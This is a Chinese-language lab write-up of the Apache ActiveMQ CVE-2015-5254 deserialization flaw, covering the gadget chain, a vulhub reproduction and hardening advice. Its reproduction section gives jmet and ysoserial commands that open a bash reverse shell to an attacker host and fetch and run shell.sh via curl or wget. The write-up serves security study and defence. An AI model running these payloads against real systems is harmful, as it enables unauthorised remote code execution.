AI摘要
漏洞概述
Apache ActiveMQ 简介
Apache ActiveMQ 是 Apache 软件基金会研发的开源消息中间件,支持 JMS(Java Message Service)、集群、Spring Framework 等多种企业级特性,广泛应用于分布式系统中作为消息代理(Message Broker)。
漏洞信息
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2015-5254 |
| 漏洞名称 | ActiveMQ JMS ObjectMessage 反序列化远程命令执行 |
| 漏洞类型 | 不安全反序列化 → 远程命令执行 (RCE) |
| CVSS 评分 | 9.8 (CRITICAL) |
| 攻击向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 影响版本 | Apache ActiveMQ 5.x < 5.13.0 |
| 修复版本 | Apache ActiveMQ 5.13.0+ |
| 利用条件 | 目标 ActiveMQ 开放 61616 (JMS) 端口,且攻击者能将序列化消息写入队列并被消费端读取 |
| 发现者 | Oracle (reported via Apache Security Team) |
| 披露时间 | 2015-12-08 |
漏洞原理
Java 反序列化漏洞的本质
Java 反序列化过程会自动调用被反序列化对象的 readObject() 方法。如果类路径(Classpath)中存在可利用的"gadget chain"(小工具链),攻击者可以构造一条从 readObject() 出发、最终到达任意代码执行的调用链。
攻击者构造恶意序列化对象
│
▼
┌─────────────────────────────────┐
│ 使用 ysoserial 生成 Payload │
│ java -jar ysoserial.jar │
│ ROME "cmd" > payload.bin │
└──────────────┬──────────────────┘
│
▼
┌─────────────────────────────────┐
│ 发送至 ActiveMQ 61616 端口 │
│ 封装为 JMS ObjectMessage │
│ 存入消息队列 (event) │
└──────────────┬──────────────────┘
│
▼
┌─────────────────────────────────┐
│ Web Console 读取消息 │
│ (或任意 JMS Consumer) │
│ 触发 ObjectMessage.getObject() │
└──────────────┬──────────────────┘
│
▼
┌─────────────────────────────────┐
│ Java 反序列化过程 │
│ readObject() → Gadget Chain │
│ → Runtime.exec() → RCE! │
└─────────────────────────────────┘为什么 ActiveMQ 存在此漏洞
ActiveMQ 5.13.0 之前的版本在处理 javax.jms.ObjectMessage 时,没有限制可以反序列化的类白名单。这意味着只要序列化对象存在于 JMS 消息中,ActiveMQ 就会无条件执行 readObject() 进行反序列化:
// ActiveMQ 反序列化入口(简化)
ObjectMessage msg = (ObjectMessage) consumer.receive();
Serializable obj = msg.getObject(); // ← 直接反序列化,无安全检查这使得攻击者可以在类路径中任意寻找可用的 gadget chain 并完成 RCE。
ROME Gadget 链原理
jmet 工具使用的 ROME (ROME RSS Library) gadget 链利用了以下调用关系:
| 步骤 | 类/方法 | 行为 |
|---|---|---|
| 1 | ObjectInputStream.readObject() | 触发反序列化入口 |
| 2 | HashMap.readObject() → hash() → key.equals() | HashMap 反序列化时需比较 key |
| 3 | ObjectBean.equals() → ToStringBean.toString() | ROME 的 ObjectBean 委托给 EqualsBean |
| 4 | ToStringBean.toString() → 反射调用所有 getter | ToStringBean 遍历目标对象所有 getter |
| 5 | TemplatesImpl.getOutputProperties() | 通过反射调用 getter,触发 ClassLoader 加载字节码 |
| 6 | ClassLoader.defineClass() → static{} 代码块 | 执行恶意字节码中的静态初始化块 →RCE |
核心技巧:TemplatesImpl类(存在于 JDK 自带的com.sun.org.apache.xalan.internal.xsltc.trax)允许通过getOutputProperties()加载任意字节码,是 ysoserial 中最经典的 RCE 终点之一。
影响范围
| 版本范围 | 状态 |
|---|---|
| ActiveMQ 5.0.0 ~ 5.12.x | 受影响 |
| ActiveMQ 5.13.0+ | 已修复(增加了jms.objectMessageSerializationPolicy) |
利用条件:
- ActiveMQ 的 JMS 端口 (默认 61616) 对攻击者可达
- 消息能被后续的消费者(或 Web Console 用户)读取并触发反序列化
- 目标 JVM 类路径下存在可利用的 gadget 依赖(如 ROME、Commons-Collections、Commons-BeanUtils 等)
涉及端口:
| 端口 | 用途 | 利用阶段 |
|---|---|---|
| 61616 | OpenWire (JMS 工作端口) | 发送恶意序列化消息 |
| 8161 | Web 管理控制台 | 读取消息触发反序列化(可选触发路径) |
注意:Web 管理页面默认无认证(admin/admin 或无需登录),使得本漏洞的可利用性进一步提升。
环境搭建
使用 vulhub 提供的 Docker 靶场快速构建复现环境:
# 克隆 vulhub(如已克隆则跳过)
git clone https://github.com/vulhub/vulhub.git
# 进入 CVE-2015-5254 目录
cd vulhub/activemq/CVE-2015-5254/
# 启动靶场容器
docker-compose up -d靶机 IP:192.168.50.134启动后服务监听以下端口:
- 61616 — OpenWire 协议工作端口,消息传递
- 8161 — Jetty Web 管理控制台
漏洞复现
攻击流程
- 构造恶意序列化对象:使用 jmet(基于 ysoserial)生成包含 ROME gadget 的可执行命令 payload
- 发送至 JMS 端口:将序列化对象作为消息投递至 ActiveMQ 的 61616 端口
- 触发反序列化:访问 Web 管理页面读取消息内容 → 自动反序列化 → 代码执行
Step 1: 构造并投递 Payload
java -jar jmet-0.1.0-all.jar \
-Q event \ # 目标队列名称
-I ActiveMQ \ # 目标中间件类型
-s \ # 启用 URLClassLoader(可加载远程 jar)
-Y "bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1" \ # 反弹 shell 命令
-Yp ROME \ # 使用 ROME gadget 链
<TARGET_IP> 61616 # 目标地址:端口参数说明:
| 参数 | 含义 | 说明 |
|---|---|---|
-Q event | 队列名称 | 在 ActiveMQ 中创建名为event 的消息队列 |
-I ActiveMQ | 中间件类型 | 指定为 ActiveMQ,使用对应的 JMS 协议适配 |
-s | URLClassLoader | 启用后可加载远程依赖,兼容更复杂的 gadget |
-Y "cmd" | 执行命令 | 要执行的系统命令(此处为 bash 反弹 shell) |
-Yp ROME | Gadget 链 | 使用 ROME (com.rometools:rome) 反序列化链 |
61616 | 目标端口 | ActiveMQ JMS 工作端口 |
<ATTACKER_IP>/<PORT>替换为攻击机的 IP 和监听端口。
Step 2: 监听反弹 Shell
在攻击机上启动监听:
nc -lvnp <PORT>Step 3: 触发反序列化
访问 ActiveMQ Web 管理页面,浏览 event 队列:
http://192.168.50.134:8161/admin/browse.jsp?JMSDestination=event点击队列中的消息条目,ActiveMQ 会对消息内容进行反序列化渲染。此时 gadget chain 触发,执行反弹 shell 命令。
其他 Payload 变体
# 直接执行命令(适用于能回显的场景)
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s \
-Y "curl http://<ATTACKER_IP>:8000/shell.sh | bash" \
-Yp ROME <TARGET_IP> 61616
# 使用 CommonsCollections5 gadget(替代 ROME)
java -jar ysoserial.jar CommonsCollections5 "wget http://<ATTACKER_IP>/shell.sh -O /tmp/shell.sh" | \
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ --payload-stdin <TARGET_IP> 61616延伸阅读
ActiveMQ 反序列化相关漏洞
| 编号 | CVE | 漏洞类型 | 影响版本 | 利用向量 |
|---|---|---|---|---|
| CVE-2015-5254 | ActiveMQ JMS 反序列化 | JMS ObjectMessage 无类白名单 | 5.x < 5.13.0 | 61616 JMS 端口投递 |
| CVE-2016-3088 | ActiveMQ 文件上传写入 | 任意文件写入 → 写入 WebShell | 5.x < 5.14.0 | 8161 Web Console PUT 请求 |
| CVE-2023-46604 | ActiveMQ OpenWire 反序列化 | OpenWire 协议层反序列化无验证 | 5.15.16 / 5.16.7 / 5.17.6 / 5.18.3 之前 | 61616 OpenWire 连接即可触发 |
CVE-2023-46604 是 2023 年披露的严重漏洞,CVSS 10.0。与 CVE-2015-5254 不同,它无需将消息投递到队列,仅需建立 OpenWire TCP 连接即可在 ExceptionResponse 反序列化中触发 RCE。这意味着即使 ActiveMQ 没有配置任何队列,攻击者也可直接反弹 Shell。
Java 反序列化利用工具对比
| 工具 | 特点 | 适用场景 |
|---|---|---|
| ysoserial | 经典工具,30+ gadget chain,输出二进制 payload | 通用 Java 反序列化利用 |
| jmet | 专为 JMS/ActiveMQ 设计,封装了 ysoserial 和 JMS 协议交互 | ActiveMQ / Artemis 漏洞利用 |
| ysoserial-modified | ysoserial 增强版,优化内存马注入 | 复杂环境下的 Webshell 持久化 |
| marshalsec | 多协议反序列化利用(RMI/LDAP/JNDI) | JNDI 注入结合利用 |
修复与加固建议
1. 升级版本(根本修复)
将 ActiveMQ 升级至 5.13.0 及以上。修复版本通过 jms.objectMessageSerializationPolicy 参数控制反序列化行为。
2. 配置序列化白名单
在 activemq.xml 中限制可反序列化的类:
<broker xmlns="http://activemq.apache.org/schema/core">
<plugins>
<bean id="securityPlugin"
class="org.apache.activemq.security.ObjectMessageSerializationPolicyPlugin">
<property name="objectMessageSerializationPolicy">
<bean class="org.apache.activemq.security.TrustedPackagesObjectMessagePolicy">
<property name="trustedPackages">
<list>
<value>java.util</value>
<value>java.lang</value>
<value>org.apache.activemq</value>
</list>
</property>
</bean>
</property>
</bean>
</plugins>
</broker>3. 网络层防护
- 将 JMS 端口 61616 限制在内网,禁止公网直接访问
- 为 Web Console (8161) 启用认证并修改默认凭据
- 在 WAF/防火墙配置 ActiveMQ 特征过滤规则
# Nginx 反向代理 + IP 白名单
location /admin/ {
allow 192.168.0.0/16;
allow 10.0.0.0/8;
deny all;
proxy_pass http://activemq:8161;
}参考文献
- NVD - CVE-2015-5254: https://nvd.nist.gov/vuln/detail/CVE-2015-5254
- Apache ActiveMQ Security Advisory - CVE-2015-5254: http://activemq.apache.org/security-advisories.data/CVE-2015-5254-announcement.txt
- Apache ActiveMQ - JMS ObjectMessage Serialization: https://issues.apache.org/jira/browse/AMQ-6013
- ysoserial - Java Deserialization Exploit Tool: https://github.com/frohoff/ysoserial
- Oracle Java - JNDI/JMS Security Best Practices: https://www.oracle.com/java/technologies/javase/seccodeguide.html






